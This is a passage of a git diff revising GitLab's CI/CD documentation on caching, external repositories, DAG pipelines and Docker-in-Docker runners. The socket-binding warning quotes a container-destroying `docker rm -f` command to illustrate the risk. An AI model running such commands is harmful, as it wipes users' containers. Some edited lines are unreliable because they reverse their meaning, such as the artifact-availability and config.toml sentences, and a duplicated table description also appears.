to consider; avatars and content images. The MVC for this implementation focuses on Avatars. Avatars requests consist of approximately 70% of total image requests. There is an identified set of sizes we intend to support which makes the scope of this first MVC very narrow. Content image resizing has many more considerations for size and features. It is entirely possible that we have two separate development efforts with the same goal of increasing performance via image resizing. ## MVC Avatar Resizing -We will implement a dynamic image resizing solution. This means image should be resized and optimized on the fly so that if we define new targeted sizes later we can add them dynamically. This would mean a huge improvement in performance as some of the measurements suggest that we can save up to 95% of our current load size. Our initial investigations indicate that we have uploaded approximately 1.65 million avatars totaling approximately 80GB in size and averaging approximately 48kb each. Early measurements indicate we can reduce the most common avatar dimensions to between 1-3kb in size, netting us a greater than 90% size reduction. For the MVC we will not consider application level caching and rely purely on HTTP based caches as implemented in CDNs and browsers, but might revisit this decision later on. To easily mitigate performance issues with avatar resizing, especially in the case of self managed, an operations feature flag will be implemented to disable dynamic image resizing. +When implementing a dynamic image resizing solution, images should be resized and optimized on the fly so that if we define new targeted sizes later we can add them dynamically. This would mean a huge improvement in performance as some of the measurements suggest that we can save up to 95% of our current load size. Our initial investigations indicate that we have uploaded approximately 1.65 million avatars totaling approximately 80GB in size and averaging approximately 48kb each. Early measurements indicate we can reduce the most common avatar dimensions to between 1-3kb in size, netting us a greater than 90% size reduction. For the MVC we don't consider application level caching and rely purely on HTTP based caches as implemented in CDNs and browsers, but might revisit this decision later on. To easily mitigate performance issues with avatar resizing, especially in the case of self managed, an operations feature flag is implemented to disable dynamic image resizing. ```mermaid sequenceDiagram diff --git a/doc/ci/README.md b/doc/ci/README.md index 45cf56df894..a363721bd73 100644 --- a/doc/ci/README.md +++ b/doc/ci/README.md @@ -96,6 +96,7 @@ GitLab CI/CD uses a number of concepts to describe and run your build and deploy | [Cache dependencies](caching/index.md) | Cache your dependencies for a faster execution. | | [GitLab Runner](https://docs.gitlab.com/runner/) | Configure your own runners to execute your scripts. | | [Pipeline efficiency](pipelines/pipeline_efficiency.md) | Configure your pipelines to run quickly and efficiently. | +| [Test cases](test_cases/index.md) | Configure your pipelines to run quickly and efficiently. | ## Configuration @@ -121,38 +122,38 @@ Note that certain operations can only be performed according to the Use the vast GitLab CI/CD to easily configure it for specific purposes. Its feature set is listed on the table below according to DevOps stages. -| Feature | Description | -|:--------|:------------| -| **Configure** || -| [Auto DevOps](../topics/autodevops/index.md) | Set up your app's entire lifecycle. | -| [ChatOps](chatops/README.md) | Trigger CI jobs from chat, with results sent back to the channel. | -|---+---| -| **Verify** || -| [Browser Performance Testing](../user/project/merge_requests/browser_performance_testing.md) | Quickly determine the browser performance impact of pending code changes. | -| [Load Performance Testing](../user/project/merge_requests/load_performance_testing.md) | Quickly determine the server performance impact of pending code changes. | -| [CI services](services/README.md) | Link Docker containers with your base image.| -| [Code Quality](../user/project/merge_requests/code_quality.md) | Analyze your source code quality. | -| [GitLab CI/CD for external repositories](ci_cd_for_external_repos/index.md) **(PREMIUM)** | Get the benefits of GitLab CI/CD combined with repositories in GitHub and Bitbucket Cloud. | -| [Interactive Web Terminals](interactive_web_terminal/index.md) **(CORE ONLY)** | Open an interactive web terminal to debug the running jobs. | -| [Unit test reports](unit_test_reports.md) | Identify script failures directly on merge requests. | -| [Using Docker images](docker/using_docker_images.md) | Use GitLab and GitLab Runner with Docker to build and test applications. | -|---+---| -| **Release** || -| [Auto Deploy](../topics/autodevops/stages.md#auto-deploy) | Deploy your application to a production environment in a Kubernetes cluster. | -| [Building Docker images](docker/using_docker_build.md) | Maintain Docker-based projects using GitLab CI/CD. | -| [Canary Deployments](../user/project/canary_deployments.md) **(PREMIUM)** | Ship features to only a portion of your pods and let a percentage of your user base to visit the temporarily deployed feature. | -| [Deploy Boards](../user/project/deploy_boards.md) **(PREMIUM)** | Check the current health and status of each CI/CD environment running on Kubernetes. | -| [Feature Flags](../operations/feature_flags.md) **(PREMIUM)** | Deploy your features behind Feature Flags. | -| [GitLab Pages](../user/project/pages/index.md) | Deploy static websites. | -| [GitLab Releases](../user/project/releases/index.md) | Add release notes to Git tags. | -| [Review Apps](review_apps/index.md) | Configure GitLab CI/CD to preview code changes. | -| [Cloud deployment](cloud_deployment/index.md) | Deploy your application to a main cloud provider. | -|---+---| -| **Secure** || -| [Container Scanning](../user/application_security/container_scanning/index.md) **(ULTIMATE)** | Check your Docker containers for known vulnerabilities.| -| [Dependency Scanning](../user/application_security/dependency_scanning/index.md) **(ULTIMATE)** | Analyze your dependencies for known vulnerabilities. | -| [License Compliance](../user/compliance/license_compliance/index.md) **(ULTIMATE)** | Search your project dependencies for their licenses. | -| [Security Test reports](../user/application_security/index.md) **(ULTIMATE)** | Check for app vulnerabilities. | +| Feature | Description | +|:------------------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------------------------------------------------| +| **Configure** | | +| [Auto DevOps](../topics/autodevops/index.md) | Set up your app's entire lifecycle. | +| [ChatOps](chatops/README.md) | Trigger CI jobs from chat, with results sent back to the channel. | +|-------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------| +| **Verify** | | +| [Browser Performance Testing](../user/project/merge_requests/browser_performance_testing.md) | Quickly determine the browser performance impact of pending code changes. | +| [Load Performance Testing](../user/project/merge_requests/load_performance_testing.md) | Quickly determine the server performance impact of pending code changes. | +| [CI services](services/README.md) | Link Docker containers with your base image. | +| [Code Quality](../user/project/merge_requests/code_quality.md) | Analyze your source code quality. | +| [GitLab CI/CD for external repositories](ci_cd_for_external_repos/index.md) **(PREMIUM)** | Get the benefits of GitLab CI/CD combined with repositories in GitHub and Bitbucket Cloud. | +| [Interactive Web Terminals](interactive_web_terminal/index.md) **(CORE ONLY)** | Open an interactive web terminal to debug the running jobs. | +| [Unit test reports](unit_test_reports.md) | Identify script failures directly on merge requests. | +| [Using Docker images](docker/using_docker_images.md) | Use GitLab and GitLab Runner with Docker to build and test applications. | +|-------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------| +| **Release** | | +| [Auto Deploy](../topics/autodevops/stages.md#auto-deploy) | Deploy your application to a production environment in a Kubernetes cluster. | +| [Building Docker images](docker/using_docker_build.md) | Maintain Docker-based projects using GitLab CI/CD. | +| [Canary Deployments](../user/project/canary_deployments.md) **(PREMIUM)** | Ship features to only a portion of your pods and let a percentage of your user base to visit the temporarily deployed feature. | +| [Deploy Boards](../user/project/deploy_boards.md) **(PREMIUM)** | Check the current health and status of each CI/CD environment running on Kubernetes. | +| [Feature Flags](../operations/feature_flags.md) **(PREMIUM)** | Deploy your features behind Feature Flags. | +| [GitLab Pages](../user/project/pages/index.md) | Deploy static websites. | +| [GitLab Releases](../user/project/releases/index.md) | Add release notes to Git tags. | +| [Review Apps](review_apps/index.md) | Configure GitLab CI/CD to preview code changes. | +| [Cloud deployment](cloud_deployment/index.md) | Deploy your application to a main cloud provider. | +|-------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------| +| **Secure** | | +| [Container Scanning](../user/application_security/container_scanning/index.md) **(ULTIMATE)** | Check your Docker containers for known vulnerabilities. | +| [Dependency Scanning](../user/application_security/dependency_scanning/index.md) **(ULTIMATE)** | Analyze your dependencies for known vulnerabilities. | +| [License Compliance](../user/compliance/license_compliance/index.md) **(ULTIMATE)** | Search your project dependencies for their licenses. | +| [Security Test reports](../user/application_security/index.md) **(ULTIMATE)** | Check for app vulnerabilities. | ## Examples diff --git a/doc/ci/autodeploy/index.md b/doc/ci/autodeploy/index.md index ca2df72e32e..8c7d9c1da64 100644 --- a/doc/ci/autodeploy/index.md +++ b/doc/ci/autodeploy/index.md @@ -3,3 +3,6 @@ redirect_to: '../../topics/autodevops/stages.md#auto-deploy' --- This document was moved to [another location](../../topics/autodevops/stages.md#auto-deploy). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/autodeploy/quick_start_guide.md b/doc/ci/autodeploy/quick_start_guide.md index ca2df72e32e..8c7d9c1da64 100644 --- a/doc/ci/autodeploy/quick_start_guide.md +++ b/doc/ci/autodeploy/quick_start_guide.md @@ -3,3 +3,6 @@ redirect_to: '../../topics/autodevops/stages.md#auto-deploy' --- This document was moved to [another location](../../topics/autodevops/stages.md#auto-deploy). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/build_artifacts/README.md b/doc/ci/build_artifacts/README.md index b63659c1878..4344a544798 100644 --- a/doc/ci/build_artifacts/README.md +++ b/doc/ci/build_artifacts/README.md @@ -3,3 +3,6 @@ redirect_to: '../../user/project/pipelines/job_artifacts.md' --- This document was moved to [pipelines/job_artifacts.md](../../user/project/pipelines/job_artifacts.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/caching/index.md b/doc/ci/caching/index.md index dfa92d469bc..3f1aea0a4d9 100644 --- a/doc/ci/caching/index.md +++ b/doc/ci/caching/index.md @@ -38,12 +38,12 @@ runtime dependencies needed to compile the project: be configured to pass intermediate build results between stages, this should be done with artifacts instead. -- `artifacts`: **Use for stage results that will be passed between stages.** +- `artifacts`: **Use for stage results that are passed between stages.** Artifacts are files generated by a job which are stored and uploaded, and can then be fetched and used by jobs in later stages of the **same pipeline**. In other words, [you can't create an artifact in job-A in stage-1, and then use this artifact in job-B in stage-1](https://gitlab.com/gitlab-org/gitlab/-/issues/25837). - This data will not be available in different pipelines, but is available to be downloaded + This data is be available in different pipelines, but is available to be downloaded from the UI. The name `artifacts` sounds like it's only useful outside of the job, like for downloading @@ -87,7 +87,7 @@ cache, when declaring `cache` in your jobs, use one or a mix of the following: - [Tag your runners](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) and use the tag on jobs that share their cache. - [Use sticky runners](../runners/README.md#prevent-a-specific-runner-from-being-enabled-for-other-projects) - that will be only available to a particular project. + that are only available to a particular project. - [Use a `key`](../yaml/README.md#cachekey) that fits your workflow (for example, different caches on each branch). For that, you can take advantage of the [CI/CD predefined variables](../variables/README.md#predefined-environment-variables). @@ -106,7 +106,7 @@ of the following must be true: where the cache is stored in S3 buckets (like shared runners on GitLab.com). - Use multiple runners (not in autoscale mode) of the same architecture that share a common network-mounted directory (using NFS or something similar) - where the cache will be stored. + where the cache is stored. TIP: **Tip:** Read about the [availability of the cache](#availability-of-the-cache) @@ -125,7 +125,7 @@ cache: While this feels like it might be safe from accidentally overwriting the cache, it means merge requests get slow first pipelines, which might be a bad developer experience. The next time a new commit is pushed to the branch, the -cache will be re-used. +cache is re-used. To enable per-job and per-branch caching: @@ -160,7 +160,7 @@ cache: ### Disabling cache on specific jobs -If you have defined the cache globally, it means that each job will use the +If you have defined the cache globally, it means that each job uses the same definition. You can override this behavior per-job, and if you want to disable it completely, use an empty hash: @@ -431,9 +431,9 @@ Here's what happens behind the scenes: 1. `script` is executed. 1. Pipeline finishes. -By using a single runner on a single machine, you'll not have the issue where +By using a single runner on a single machine, you don't have the issue where `job B` might execute on a runner different from `job A`, thus guaranteeing the -cache between stages. That will only work if the build goes from stage `build` +cache between stages. That only works if the build goes from stage `build` to `test` in the same runner/machine, otherwise, you [might not have the cache available](#cache-mismatch). @@ -442,7 +442,7 @@ During the caching process, there's also a couple of things to consider: - If some other job, with another cache configuration had saved its cache in the same zip file, it is overwritten. If the S3 based shared cache is used, the file is additionally uploaded to S3 to an object based on the cache - key. So, two jobs with different paths, but the same cache key, will overwrite + key. So, two jobs with different paths, but the same cache key, overwrites their cache. - When extracting the cache from `cache.zip`, everything in the zip file is extracted in the job's working directory (usually the repository which is @@ -450,7 +450,7 @@ During the caching process, there's also a couple of things to consider: things in the archive of `job B`. The reason why it works this way is because the cache created for one runner -often will not be valid when used by a different one which can run on a +often isn't valid when used by a different one which can run on a **different architecture** (e.g., when the cache includes binary files). And since the different steps might be executed by runners running on different machines, it is a safe default. @@ -472,7 +472,7 @@ Let's explore some examples. #### Examples Let's assume you have only one runner assigned to your project, so the cache -will be stored in the runner's machine by default. If two jobs, A and B, +is stored in the runner's machine by default. If two jobs, A and B, have the same cache key, but they cache different paths, cache B would overwrite cache A, even if their `paths` don't match: @@ -506,15 +506,15 @@ job B: 1. `job B` runs. 1. The previous cache, if any, is unzipped. 1. `vendor/` is cached as cache.zip and overwrites the previous one. -1. The next time `job A` runs it will use the cache of `job B` which is different - and thus will be ineffective. +1. The next time `job A` runs it uses the cache of `job B` which is different + and thus isn't effective. To fix that, use different `keys` for each job. In another case, let's assume you have more than one runner assigned to your project, but the distributed cache is not enabled. The second time the pipeline is run, we want `job A` and `job B` to re-use their cache (which in this case -will be different): +is different): ```yaml stages: @@ -553,7 +553,7 @@ To start with a fresh copy of the cache, there are two ways to do that. ### Clearing the cache by changing `cache:key` All you have to do is set a new `cache: key` in your `.gitlab-ci.yml`. In the -next run of the pipeline, the cache will be stored in a different location. +next run of the pipeline, the cache is stored in a different location. ### Clearing the cache manually @@ -567,7 +567,7 @@ via GitLab's UI:  -1. On the next push, your CI/CD job will use a new cache. +1. On the next push, your CI/CD job uses a new cache. Behind the scenes, this works by increasing a counter in the database, and the value of that counter is used to create the key for the cache by appending an diff --git a/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md b/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md index f8e2a2b7eb0..8430fe4cd1b 100644 --- a/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md +++ b/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md @@ -19,12 +19,12 @@ To use GitLab CI/CD with a Bitbucket Cloud repository:  - GitLab will import the repository and enable [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository). + GitLab imports the repository and enables [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository). 1. In GitLab create a [Personal Access Token](../../user/profile/personal_access_tokens.md) - with `api` scope. This will be used to authenticate requests from the web - hook that will be created in Bitbucket to notify GitLab of new commits. + with `api` scope. This is used to authenticate requests from the web + hook that is created in Bitbucket to notify GitLab of new commits. 1. In Bitbucket, from **Settings > Webhooks**, create a new web hook to notify GitLab of new commits. @@ -62,7 +62,7 @@ To use GitLab CI/CD with a Bitbucket Cloud repository: 1. In Bitbucket, add a script to push the pipeline status to Bitbucket. - > Note: changes made in GitLab will be overwritten by any changes made + > Note: changes made in GitLab are overwritten by any changes made > upstream in Bitbucket. Create a file `build_status` and insert the script below and run diff --git a/doc/ci/ci_cd_for_external_repos/github_integration.md b/doc/ci/ci_cd_for_external_repos/github_integration.md index b6f885ff220..1060f576be3 100644 --- a/doc/ci/ci_cd_for_external_repos/github_integration.md +++ b/doc/ci/ci_cd_for_external_repos/github_integration.md @@ -28,7 +28,7 @@ To perform a one-off authorization with GitHub to grant GitLab access your repositories: 1. Open <https://github.com/settings/tokens/new> to create a **Personal Access - Token**. This token will be used to access your repository and push commit + Token**. This token is used to access your repository and push commit statuses to GitHub. The `repo` and `admin:repo_hook` should be enable to allow GitLab access to @@ -43,12 +43,12 @@ repositories: 1. In GitHub, add a `.gitlab-ci.yml` to [configure GitLab CI/CD](../quick_start/README.md). -GitLab will: +GitLab: -1. Import the project. -1. Enable [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository) -1. Enable [GitHub project integration](../../user/project/integrations/github.md) -1. Create a web hook on GitHub to notify GitLab of new commits. +1. Imports the project. +1. Enables [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository) +1. Enables [GitHub project integration](../../user/project/integrations/github.md) +1. Creates a web hook on GitHub to notify GitLab of new commits. ## Connect manually @@ -57,7 +57,7 @@ To use **GitHub Enterprise** with **GitLab.com**, use this method. To manually enable GitLab CI/CD for your repository: 1. In GitHub open <https://github.com/settings/tokens/new> create a **Personal - Access Token.** GitLab will use this token to access your repository and + Access Token.** GitLab uses this token to access your repository and push commit statuses. Enter a **Token description** and update the scope to allow: @@ -68,7 +68,7 @@ To manually enable GitLab CI/CD for your repository: URL for your GitHub repository. If your project is private, use the personal access token you just created for authentication. - GitLab will automatically configure polling-based pull mirroring. + GitLab automatically configures polling-based pull mirroring. 1. Still in GitLab, enable the [GitHub project integration](../../user/project/integrations/github.md) from **Settings > Integrations.** diff --git a/doc/ci/ci_cd_for_external_repos/index.md b/doc/ci/ci_cd_for_external_repos/index.md index ae6cb759d23..db90714fa6b 100644 --- a/doc/ci/ci_cd_for_external_repos/index.md +++ b/doc/ci/ci_cd_for_external_repos/index.md @@ -18,7 +18,7 @@ GitLab CI/CD can be used with: Instead of moving your entire project to GitLab, you can connect your external repository to get the benefits of GitLab CI/CD. -Connecting an external repository will set up [repository mirroring](../../user/project/repository/repository_mirroring.md) +Connecting an external repository sets up [repository mirroring](../../user/project/repository/repository_mirroring.md) and create a lightweight project with issues, merge requests, wiki, and snippets disabled. These features [can be re-enabled later](../../user/project/settings/index.md#sharing-and-permissions). @@ -74,7 +74,7 @@ If changes are pushed to the branch referenced by the Pull Request and the Pull Request is still open, a pipeline for the external pull request is created. -GitLab CI/CD will create 2 pipelines in this case. One for the +GitLab CI/CD creates 2 pipelines in this case. One for the branch push and one for the external pull request. After the Pull Request is closed, no pipelines are created for the external pull @@ -89,10 +89,10 @@ The variable names are prefixed with `CI_EXTERNAL_PULL_REQUEST_`. ### Limitations -This feature currently does not support Pull Requests from fork repositories. Any Pull Requests from fork repositories will be ignored. [Read more](https://gitlab.com/gitlab-org/gitlab/-/issues/5667). +This feature currently does not support Pull Requests from fork repositories. Any Pull Requests from fork repositories are ignored. [Read more](https://gitlab.com/gitlab-org/gitlab/-/issues/5667). -Given that GitLab will create 2 pipelines, if changes are pushed to a remote branch that -references an open Pull Request, both will contribute to the status of the Pull Request +Given that GitLab creates 2 pipelines, if changes are pushed to a remote branch that +references an open Pull Request, both contribute to the status of the Pull Request via GitHub integration. If you want to exclusively run pipelines on external pull requests and not on branches you can add `except: [branches]` to the job specs. [Read more](https://gitlab.com/gitlab-org/gitlab/-/issues/24089#workaround). diff --git a/doc/ci/directed_acyclic_graph/index.md b/doc/ci/directed_acyclic_graph/index.md index 04f27c584b7..47cc6f8e677 100644 --- a/doc/ci/directed_acyclic_graph/index.md +++ b/doc/ci/directed_acyclic_graph/index.md @@ -17,7 +17,7 @@ be set up. For example, you may have a specific tool or separate website that is built as part of your main project. Using a DAG, you can specify the relationship between -these jobs and GitLab will then execute the jobs as soon as possible instead of waiting +these jobs and GitLab executes the jobs as soon as possible instead of waiting for each stage to complete. Unlike other DAG solutions for CI/CD, GitLab does not require you to choose one or the @@ -44,9 +44,9 @@ It has a pipeline that looks like the following: | build_d | test_d | deploy_d | Using a DAG, you can relate the `_a` jobs to each other separately from the `_b` jobs, -and even if service `a` takes a very long time to build, service `b` will not -wait for it and will finish as quickly as it can. In this very same pipeline, `_c` and -`_d` can be left alone and will run together in staged sequence just like any normal +and even if service `a` takes a very long time to build, service `b` doesn't +wait for it and finishes as quickly as it can. In this very same pipeline, `_c` and +`_d` can be left alone and run together in staged sequence just like any normal GitLab pipeline. ## Use cases @@ -60,7 +60,7 @@ but related microservices. Additionally, a DAG can help with general speediness of pipelines and helping to deliver fast feedback. By creating dependency relationships that don't unnecessarily -block each other, your pipelines will run as quickly as possible regardless of +block each other, your pipelines run as quickly as possible regardless of pipeline stages, ensuring output (including errors) is available to developers as quickly as possible. @@ -88,13 +88,13 @@ are certain use cases that you may need to work around. For more information: > - It's enabled on GitLab.com. > - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-needs-visualization). -The needs visualization makes it easier to visualize the relationships between dependent jobs in a DAG. This graph will display all the jobs in a pipeline that need or are needed by other jobs. Jobs with no relationships are not displayed in this view. +The needs visualization makes it easier to visualize the relationships between dependent jobs in a DAG. This graph displays all the jobs in a pipeline that need or are needed by other jobs. Jobs with no relationships are not displayed in this view. To see the needs visualization, click on the **Needs** tab when viewing a pipeline that uses the `needs:` keyword.  -Clicking a node will highlight all the job paths it depends on. +Clicking a node highlights all the job paths it depends on.  diff --git a/doc/ci/docker/using_docker_build.md b/doc/ci/docker/using_docker_build.md index ebbfde09c67..c8eeb5c222a 100644 --- a/doc/ci/docker/using_docker_build.md +++ b/doc/ci/docker/using_docker_build.md @@ -152,9 +152,9 @@ Docker-in-Docker service and [GitLab.com shared runners](../../user/gitlab_com/index.md#shared-runners) support this. -GitLab Runner 11.11 or later is required, but it is not supported if GitLab -Runner is installed using the [Helm chart](https://docs.gitlab.com/runner/install/kubernetes.html). -See the [related issue](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/issues/83) for details. +##### Docker + +> Introduced in GitLab Runner 11.11. 1. Install [GitLab Runner](https://docs.gitlab.com/runner/install/). 1. Register GitLab Runner from the command line to use `docker` and `privileged` @@ -217,6 +217,62 @@ See the [related issue](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/iss # The 'docker' hostname is the alias of the service container as described at # https://docs.gitlab.com/ee/ci/docker/using_docker_images.html#accessing-the-services. # + # Specify to Docker where to create the certificates, Docker will + # create them automatically on boot, and will create + # `/certs/client` that will be shared between the service and job + # container, thanks to volume mount from config.toml + DOCKER_TLS_CERTDIR: "/certs" + + services: + - docker:19.03.12-dind + + before_script: + - docker info + + build: + stage: build + script: + - docker build -t my-docker-image . + - docker run my-docker-image /script/to/run/tests + ``` + +##### Kubernetes + +> [Introduced](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/issues/106) in GitLab Runner Helm Chart 0.23.0. + +1. Using the + [Helm chart](https://docs.gitlab.com/runner/install/kubernetes.html), update the + [`values.yml` file](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/blob/00c1a2098f303dffb910714752e9a981e119f5b5/values.yaml#L133-137) + to specify a volume mount. + + ```yaml + runners: + config: | + [[runners]] + [runners.kubernetes] + image = "ubuntu:20.04" + privileged = true + [[runners.kubernetes.volumes.empty_dir]] + name = "docker-certs" + mount_path = "/certs/client" + medium = "Memory" + ``` + +1. You can now use `docker` in the build script (note the inclusion of the + `docker:19.03.13-dind` service): + + ```yaml + image: docker:19.03.13 + + variables: + # When using dind service, we need to instruct docker to talk with + # the daemon started inside of the service. The daemon is available + # with a network connection instead of the default + # /var/run/docker.sock socket. + DOCKER_HOST: tcp://docker:2376 + # + # The 'docker' hostname is the alias of the service container as described at + # https://docs.gitlab.com/ee/ci/docker/using_docker_images.html#accessing-the-services. # If you're using GitLab Runner 12.7 or earlier with the Kubernetes executor and Kubernetes 1.6 or earlier, # the variable must be set to tcp://localhost:2376 because of how the # Kubernetes executor connects services to the job container @@ -227,9 +283,14 @@ See the [related issue](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/iss # `/certs/client` that will be shared between the service and job # container, thanks to volume mount from config.toml DOCKER_TLS_CERTDIR: "/certs" + # These are usually specified by the entrypoint, however the + # Kubernetes executor doesn't run entrypoints + # https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4125 + DOCKER_TLS_VERIFY: 1 + DOCKER_CERT_PATH: "$DOCKER_TLS_CERTDIR/client" services: - - docker:19.03.12-dind + - docker:19.03.13-dind before_script: - docker info @@ -302,6 +363,90 @@ build: - docker run my-docker-image /script/to/run/tests ``` +#### Use Docker socket binding + +The third approach is to bind-mount `/var/run/docker.sock` into the +container so that Docker is available in the context of that image. + +NOTE: **Note:** +If you bind the Docker socket and you are +[using GitLab Runner 11.11 or later](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/1261), +you can no longer use `docker:19.03.12-dind` as a service. Volume bindings +are done to the services as well, making these incompatible. + +To make Docker available in the context of the image: + +1. Install [GitLab Runner](https://docs.gitlab.com/runner/install/). +1. From the command line, register a runner with the `docker` executor and share `/var/run/docker.sock`: + + ```shell + sudo gitlab-runner register -n \ + --url https://gitlab.com/ \ + --registration-token REGISTRATION_TOKEN \ + --executor docker \ + --description "My Docker Runner" \ + --docker-image "docker:19.03.12" \ + --docker-volumes /var/run/docker.sock:/var/run/docker.sock + ``` + + This command registers a new runner to use the special + `docker:19.03.12` image, which is provided by Docker. **The command uses + the Docker daemon of the runner itself. Any containers spawned by Docker + commands are siblings of the runner rather than children of the runner.** + This may have complications and limitations that are unsuitable for your workflow. + + Your `config.toml` file should not have an entry like this: + + ```toml + [[runners]] + url = "https://gitlab.com/" + token = REGISTRATION_TOKEN + executor = "docker" + [runners.docker] + tls_verify = false + image = "docker:19.03.12" + privileged = false + disable_cache = false + volumes = ["/var/run/docker.sock:/var/run/docker.sock", "/cache"] + [runners.cache] + Insecure = false + ``` + +1. Use `docker` in the build script. You don't need to + include the `docker:19.03.12-dind` service, like you do when you're using + the Docker-in-Docker executor: + + ```yaml + image: docker:19.03.12 + + before_script: + - docker info + + build: + stage: build + script: + - docker build -t my-docker-image . + - docker run my-docker-image /script/to/run/tests + ``` + +This method avoids using Docker in privileged mode. However, +the implications of this method are: + +- By sharing the Docker daemon, you are effectively disabling all + the security mechanisms of containers and exposing your host to privilege + escalation, which can lead to container breakout. For example, if a project + ran `docker rm -f $(docker ps -a -q)` it would remove the GitLab Runner + containers. +- Concurrent jobs may not work; if your tests + create containers with specific names, they may conflict with each other. +- Sharing files and directories from the source repository into containers may not + work as expected. Volume mounting is done in the context of the host + machine, not the build container. For example: + + ```shell + docker run --rm -t -i -v $(pwd)/src:/home/app/src test-image:latest run_app_tests + ``` + #### Enable registry mirror for `docker:dind` service When the Docker daemon starts inside of the service container, it uses @@ -381,7 +526,7 @@ content: Update the `config.toml` file to mount the file to `/etc/docker/daemon.json`. This would mount the file for **every** -container that is created by GitLab Runner. The configuration will be +container that is created by GitLab Runner. The configuration is picked up by the `dind` service. ```toml @@ -444,90 +589,6 @@ The configuration is picked up by the `dind` service. sub_path = "daemon.json" ``` -#### Use Docker socket binding - -The third approach is to bind-mount `/var/run/docker.sock` into the -container so that Docker is available in the context of that image. - -NOTE: **Note:** -If you bind the Docker socket [when using GitLab Runner 11.11 or -newer](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/1261), -you can no longer use `docker:19.03.12-dind` as a service because volume bindings -are done to the services as well, making these incompatible. - -In order to do that, follow the steps: - -1. Install [GitLab Runner](https://docs.gitlab.com/runner/install/). -1. Register GitLab Runner from the command line to use `docker` and share `/var/run/docker.sock`: - - ```shell - sudo gitlab-runner register -n \ - --url https://gitlab.com/ \ - --registration-token REGISTRATION_TOKEN \ - --executor docker \ - --description "My Docker Runner" \ - --docker-image "docker:19.03.12" \ - --docker-volumes /var/run/docker.sock:/var/run/docker.sock - ``` - - The above command registers a new runner to use the special - `docker:19.03.12` image which is provided by Docker. **Notice that it's using - the Docker daemon of the runner itself, and any containers spawned by Docker - commands are siblings of the runner rather than children of the runner.** - This may have complications and limitations that are unsuitable for your workflow. - - The above command creates a `config.toml` entry similar to this: - - ```toml - [[runners]] - url = "https://gitlab.com/" - token = REGISTRATION_TOKEN - executor = "docker" - [runners.docker] - tls_verify = false - image = "docker:19.03.12" - privileged = false - disable_cache = false - volumes = ["/var/run/docker.sock:/var/run/docker.sock", "/cache"] - [runners.cache] - Insecure = false - ``` - -1. You can now use `docker` in the build script (note that you don't need to - include the `docker:19.03.12-dind` service as when using the Docker in Docker - executor): - - ```yaml - image: docker:19.03.12 - - before_script: - - docker info - - build: - stage: build - script: - - docker build -t my-docker-image . - - docker run my-docker-image /script/to/run/tests - ``` - -While the above method avoids using Docker in privileged mode, you should be -aware of the following implications: - -- By sharing the Docker daemon, you are effectively disabling all - the security mechanisms of containers and exposing your host to privilege - escalation which can lead to container breakout. For example, if a project - ran `docker rm -f $(docker ps -a -q)` it would remove the GitLab Runner - containers. -- Concurrent jobs may not work; if your tests - create containers with specific names, they may conflict with each other. -- Sharing files and directories from the source repository into containers may not - work as expected since volume mounting is done in the context of the host - machine, not the build container. For example: - - ```shell - docker run --rm -t -i -v $(pwd)/src:/home/app/src test-image:latest run_app_tests - ``` - ## Making Docker-in-Docker builds faster with Docker layer caching When using Docker-in-Docker, Docker downloads all layers of your image every diff --git a/doc/ci/docker/using_kaniko.md b/doc/ci/docker/using_kaniko.md index f9b09bada14..fdb13f384ce 100644 --- a/doc/ci/docker/using_kaniko.md +++ b/doc/ci/docker/using_kaniko.md @@ -37,8 +37,8 @@ few important details: - The kaniko debug image is recommended (`gcr.io/kaniko-project/executor:debug`) because it has a shell, and a shell is required for an image to be used with GitLab CI/CD. -- The entrypoint will need to be [overridden](using_docker_images.md#overriding-the-entrypoint-of-an-image), - otherwise the build script will not run. +- The entrypoint needs to be [overridden](using_docker_images.md#overriding-the-entrypoint-of-an-image), + otherwise the build script doesn't run. - A Docker `config.json` file needs to be created with the authentication information for the desired container registry. @@ -47,7 +47,7 @@ In the following example, kaniko is used to: 1. Build a Docker image. 1. Then push it to [GitLab Container Registry](../../user/packages/container_registry/index.md). -The job will run only when a tag is pushed. A `config.json` file is created under +The job runs only when a tag is pushed. A `config.json` file is created under `/kaniko/.docker` with the needed GitLab Container Registry credentials taken from the [environment variables](../variables/README.md#predefined-environment-variables) GitLab CI/CD provides. diff --git a/doc/ci/enable_or_disable_ci.md b/doc/ci/enable_or_disable_ci.md index 8b88ec509e7..189281635fd 100644 --- a/doc/ci/enable_or_disable_ci.md +++ b/doc/ci/enable_or_disable_ci.md @@ -31,7 +31,7 @@ either: - Site-wide by modifying the settings in `gitlab.yml` and `gitlab.rb` for source and Omnibus installations respectively. -This only applies to pipelines run as part of GitLab CI/CD. This will not enable or disable +This only applies to pipelines run as part of GitLab CI/CD. This doesn't enable or disable pipelines that are run from an [external integration](../user/project/integrations/overview.md#integrations-listing). ## Per-project user setting @@ -42,7 +42,7 